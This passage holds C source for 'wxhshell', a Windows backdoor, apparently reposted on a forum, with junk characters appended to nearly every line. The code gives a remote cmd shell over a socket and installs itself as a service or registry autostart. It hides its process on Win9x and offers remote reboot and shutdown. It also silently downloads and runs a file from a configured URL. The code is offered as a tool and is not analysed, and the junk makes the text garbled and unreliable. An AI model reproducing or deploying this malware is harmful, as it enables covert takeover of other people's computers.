  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iQ{z6Qa  
  } gj;@?o0  
  else { xjrlc9  
)E`+BH  
    switch(cmd[0]) { oKiD8':  
  q?i Cc c  
  // 帮助 !4B_$6US  
  case '?': { ;[~^( . f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xBWx+My  
    break; i+AUQ0Zbf6  
  } [q$e6JwAt  
  // 安装 `,Zb2"  
  case 'i': { g)cY\`&W8  
    if(Install()) } J(1V!EA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x@Vt[}e  
    else (UcFNeo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  tgW kX  
    break; /e<5Np\X  
    } 6 [ _ fD  
  // 卸载 Ilef+V^qr  
  case 'r': { GZ"/k<~0  
    if(Uninstall()) CWvlr nv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n?Zf/T  
    else Y)OBTX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gvo?([j-m  
    break; _ n_sfT6)B  
    } |."G?*  
  // 显示 wxhshell 所在路径 8m7;x/0ld  
  case 'p': { LE| <O  
    char svExeFile[MAX_PATH]; f9F2U )  
    strcpy(svExeFile,"\n\r"); m&cvU>lC  
      strcat(svExeFile,ExeFile); GLcd9|H  
        send(wsh,svExeFile,strlen(svExeFile),0);  ~me\  
    break; e>!E=J)j  
    } MCHOK=G  
  // 重启 4cB&Hk  
  case 'b': { B_tQeM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `sxN!Jj?  
    if(Boot(REBOOT)) p z @km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M/$< kQ-N  
    else { tQ[]Rc  
    closesocket(wsh); 6KB^w0oA  
    ExitThread(0); [Q:f-<nH  
    } to51hjV  
    break; hiIya WU  
    } ,`"K  
  // 关机 +,wWhhvlzv  
  case 'd': { B~rU1Y)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <S{7Ro  
    if(Boot(SHUTDOWN)) e?1KbJ?.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m0C{SBn-M  
    else { 0@v 2*\D#  
    closesocket(wsh); V" }*"P-%  
    ExitThread(0); 6lZGcRO  
    } m2ox8(sd  
    break; p2^)2v  
    } $^IjFdD  
  // 获取shell ,P~QS  
  case 's': { 94YA2_f;  
    CmdShell(wsh); 369Zu4|u  
    closesocket(wsh); FH[#yq.Pr  
    ExitThread(0); + "zYn!0  
    break; S[sr 'ZW  
  } {s9<ej~<R  
  // 退出 \H[Yyp4  
  case 'x': { d QDLI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >qn+iI2U  
    CloseIt(wsh); FSe5k5  
    break; L,W:,i/C  
    } lfRH`u  
  // 离开 gtMw3D`FL  
  case 'q': { 4`6< {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ExqM1&zpK  
    closesocket(wsh); :i}@Br+R7L  
    WSACleanup(); D=JlA~tS>  
    exit(1); k|5k8CRX  
    break; +8eVj#N  
        } py.!%vIOQ  
  } iAgOnk[  
  } _E (x2BS?  
wE8]'o  
  // 提示信息 ?F25D2[(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eN4t1 $  
} -zR.'x%  
  } g kn)V~ij  
p_;r%o=  
  return; S NN#$8\  
} RB *P0  
K9^"NS3  
// shell模块句柄 xjE7DCmA  
int CmdShell(SOCKET sock) _V&x`ks  
{ *cPN\Iu.W  
STARTUPINFO si; ZLuPz#  
ZeroMemory(&si,sizeof(si)); +2El  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yE<,Z%J[n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oLd:3,p}  
PROCESS_INFORMATION ProcessInfo; 1Lc8fP$  
char cmdline[]="cmd"; 0a@c/ XGBp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CxkMhd8qz  
  return 0; nqrDT1b**  
} >I|<^$/  
1B(G]o_>!  
// 自身启动模式 zv,\@Z9.($  
int StartFromService(void) /RMer Xj  
{ SbCJ|z#?  
typedef struct 5e)i!;7Uv  
{ vyujC`61d  
  DWORD ExitStatus; n~.%p  
  DWORD PebBaseAddress; E~}[+X@  
  DWORD AffinityMask; y%JF8R;n  
  DWORD BasePriority; m+p4Mc%u  
  ULONG UniqueProcessId; yZ?$8r  
  ULONG InheritedFromUniqueProcessId; x!>d 6lgej  
}   PROCESS_BASIC_INFORMATION; pA*i!.E/b  
aw]8V:)$J  
PROCNTQSIP NtQueryInformationProcess; =m7CJc  
uRFNfX(*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8cB=}XgYS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @::lJDGVv  
\6Xn]S  
  HANDLE             hProcess; J#+Op/mmo  
  PROCESS_BASIC_INFORMATION pbi; *Q0lC1GQ  
sFCf\y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K[n<+e;G  
  if(NULL == hInst ) return 0; \Ec X!aC  
|I(%7K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X"wF Qa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vu44!c@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UC.8DaIPN  
DhHtz.6  
  if (!NtQueryInformationProcess) return 0; N-Qu/,~+  
r.?qEe8VV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0,bt^a  
  if(!hProcess) return 0; LMt0'Ml9  
rYD']%2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4a#B!xW  
A(PE  
  CloseHandle(hProcess); n&(3o6i'  
0= 2H9v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `d.Gw+Un  
if(hProcess==NULL) return 0; F|9a}(-7  
Ca$y819E2  
HMODULE hMod; t`h_+p%>  
char procName[255]; Hi$#!OU  
unsigned long cbNeeded; PKl]Geg P  
 MK<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uwmoM>I W^  
6Q?BwD+>  
  CloseHandle(hProcess); :vw0r`  
1<;\6sg  
if(strstr(procName,"services")) return 1; // 以服务启动 e og\pMv  
CZF^Wxk  
  return 0; // 注册表启动 'W}~)+zK  
} pHigxeV2  
'9f6ZAnYpQ  
// 主模块 7sCR!0  
int StartWxhshell(LPSTR lpCmdLine) o7m99(  
{ 6Wf*>G*h  
  SOCKET wsl; v`@5enr  
BOOL val=TRUE; ?.]o_L_K  
  int port=0; i-|/2I9%  
  struct sockaddr_in door; ,xm;JXJ  
)-MA!\=<  
  if(wscfg.ws_autoins) Install(); }_Tt1iai*  
IvY,9D  
port=atoi(lpCmdLine); |~7+/VvI+  
USlF+RY@3L  
if(port<=0) port=wscfg.ws_port; B?$S~5  }  
+ZY2a7uI  
  WSADATA data; b5lk0jA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &8pCHGmV)  
`i"$*4#<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #FrwfJOV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C3&17O6  
  door.sin_family = AF_INET; "bv,I-\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =1%zI%  
  door.sin_port = htons(port); iK$Vd+Lgc  
f6keWqv<GW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  JsZAP  
closesocket(wsl); %@M00~-  
return 1; AGw1Pl8]K  
}  EGp~Vo-  
WZfk}To1#  
  if(listen(wsl,2) == INVALID_SOCKET) { }|w=7^1z  
closesocket(wsl); Oex{:dO "F  
return 1; |!?2OTY  
} oG|?F4l*  
  Wxhshell(wsl); ykErt%k<n  
  WSACleanup(); E geG,/-`  
s :-8 Z\,  
return 0; i{Y=!r5r  
K,`).YK  
} IKNFYe[9e  
Jnh;;<  
// 以NT服务方式启动 =;~%L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z ^gDbXS  
{ Dme(Knly  
DWORD   status = 0; G%V=idU*"  
  DWORD   specificError = 0xfffffff; EuR!yD  
1puEP *P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;oN{I@}k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jKY Aid{-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L%c]%3A  
  serviceStatus.dwWin32ExitCode     = 0; 8:3oH!n  
  serviceStatus.dwServiceSpecificExitCode = 0; YyQf  
  serviceStatus.dwCheckPoint       = 0; BN<#x@m$]  
  serviceStatus.dwWaitHint       = 0; rCnV5Yb0O  
d/ 'A\"o+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D=5t=4^H(  
  if (hServiceStatusHandle==0) return; 7Va#{Y;Zy  
n?<# {$  
status = GetLastError(); .N2nJ/   
  if (status!=NO_ERROR) ZuF4N=;  
{ ECmHy@(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $71D)*{P  
    serviceStatus.dwCheckPoint       = 0; ,H#qgnp  
    serviceStatus.dwWaitHint       = 0; SK2J`*  
    serviceStatus.dwWin32ExitCode     = status; F^%{ ;  
    serviceStatus.dwServiceSpecificExitCode = specificError; w@ gl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `? 9] '  
    return; Z9 ;nC zHm  
  } qd#(`%_/  
]yj4~_&O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #T gz,e9  
  serviceStatus.dwCheckPoint       = 0; )7Hon  
  serviceStatus.dwWaitHint       = 0; "NX m\`8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [9YlLL@  
} _D7HQ  
H3UX{|[  
// 处理NT服务事件,比如:启动、停止 o2 T/IJP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Ap~7)z[  
{ XNkQk0i;g&  
switch(fdwControl) ]ut-wqb{p  
{ @4 Os?_gJ\  
case SERVICE_CONTROL_STOP: -N-4l  
  serviceStatus.dwWin32ExitCode = 0; %>I?'y^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; clR?< LO  
  serviceStatus.dwCheckPoint   = 0; aOAwezfYR  
  serviceStatus.dwWaitHint     = 0; 5CRc]Q #@  
  { &2<&X( )  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Uqa8&  
  } N%n1>!X)!  
  return; c4qp3B_w  
case SERVICE_CONTROL_PAUSE: M'>D[5;N~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ht=6P)  
  break; m_r@t*  
case SERVICE_CONTROL_CONTINUE: x[.z"$T@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gN!E*@7  
  break; +hyWo]nW0  
case SERVICE_CONTROL_INTERROGATE: yp^[]Mz=  
  break; .JD4gF2N  
}; mER8> <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VFO&)E/-  
} "t%1@b*u  
O0=,&=i  
// 标准应用程序主函数 \KnD"0KW   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %Zv(gI`A  
{ I 1VEm?CQ  
?-.Ep0/  
// 获取操作系统版本 {g:/ BFLr#  
OsIsNt=GetOsVer(); K,L>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !e#I4,fn  
mKf>6/s{c  
  // 从命令行安装 jV|$? Rcl%  
  if(strpbrk(lpCmdLine,"iI")) Install(); |/T<]+X;  
JQbMw>Y  
  // 下载执行文件 ]` &[Se d  
if(wscfg.ws_downexe) { D"( 3VIglq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ai;gca_P#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vx7Dl{?{'  
} NbdMec  
1 ">d|oC  
if(!OsIsNt) { i Ks,i9j  
// 如果时win9x,隐藏进程并且设置为注册表启动 . ;ea]_Z  
HideProc(); Fgc:6<MGM  
StartWxhshell(lpCmdLine); _1>(GK5[  
} >m_ p\$_  
else ~D`oP/6  
  if(StartFromService()) S'%cf7Z  
  // 以服务方式启动 t\|K"  
  StartServiceCtrlDispatcher(DispatchTable); asmW W8lz  
else abJ@>7V  
  // 普通方式启动 3qxG?G N  
  StartWxhshell(lpCmdLine); "e7$q&R |  
F)<G]i8n~  
return 0; h2/1S{/n]  
}
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只看该作者 1 发表于: 2006-10-10
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